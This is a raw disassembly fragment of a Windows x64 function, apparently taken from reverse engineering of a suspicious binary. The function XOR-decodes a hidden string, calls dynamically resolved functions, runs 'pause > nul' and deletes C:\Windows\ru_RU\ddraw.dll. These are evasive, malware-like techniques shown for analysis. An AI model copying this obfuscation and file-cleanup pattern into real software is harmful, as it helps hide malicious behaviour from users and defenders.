movdqa xmm1, xmmword [0x140007640]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov byte [rbp - 0x20], 0
xor byte [rbp - 0x2e], cl
xor byte [rbp - 0x2d], cl
xor byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], cl
xor byte [rbp - 0x2a], cl
xor byte [rbp - 0x29], cl
xor byte [rbp - 0x28], cl
xor byte [rbp - 0x27], cl
xor byte [rbp - 0x26], cl
xor byte [rbp - 0x25], cl
xor byte [rbp - 0x24], cl
xor byte [rbp - 0x23], cl
xor byte [rbp - 0x22], cl
xor byte [rbp - 0x21], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
mov byte [rbp - 0x2f], al
call fcn.140002b60
lea rcx, [rbp - 0x2f]
call rax
call fcn.1400022e0
lea rcx, str.pause___nul
call rax
call fcn.1400053b0
xor ecx, ecx
call rax
movups xmm0, xmmword [str.C:Windows_ru_RUddraw.dll]
movzx eax, word [0x140007548]
lea rcx, [rbp - 0x10]
mov word [rbp + 8], ax
movzx eax, byte [0x14000754a]
movups xmmword [rbp - 0x10], xmm0
mov byte [rbp + 0xa], al
movsd xmm0, qword [0x140007540]
movsd qword [rbp], xmm0
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140005a40
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret